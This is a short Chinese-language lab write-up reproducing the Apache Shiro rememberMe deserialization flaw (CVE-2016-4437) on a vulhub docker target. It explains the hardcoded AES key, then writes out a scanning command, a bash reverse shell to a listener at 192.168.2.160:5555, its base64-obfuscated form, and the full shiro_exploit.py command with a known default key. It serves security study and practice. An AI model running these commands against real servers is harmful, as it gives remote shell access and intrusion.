Shiro反序列化漏洞复现(CVE-2016-4437)
漏洞原理
shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。
AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。
参考:
https://www.cnblogs.com/peace-and-romance/p/15669560.html
影响版本
Apache Shiro <= 1.2.4
漏洞复现
环境:
docker下vulhub靶场
- 访问靶场
- 看到remember me ,尝试登录,抓包。看到返回包里面有rememberMe=deleteMe字段,确定是该漏洞。
- 用Shiro_exploit扫描,找到AES加密的key
python shiro_exploit.py -u http://192.168.2.163:8080
vulnerable为True 就证明存在反序列化漏洞
- 漏洞利用反弹shell
构造反弹shell代码
将下面代码base 64加密
bash -i >& /dev/tcp/192.168.2.160/5555 0>&1
构造到下面的语句中
bash -i >& /dev/tcp/192.168.2.160/5555 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTYwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}
使用shiro_exploit.py进行利用
python shiro_exploit.py -t 3 -u http://192.168.2.137:8080 -p "bash加密命令" -k “密钥”
python shiro_exploit.py -t 3 -u http://192.168.2.137:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTYwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i} " -k "kPH+bIxk5D2deZiIxcaaaA=="
复现成功!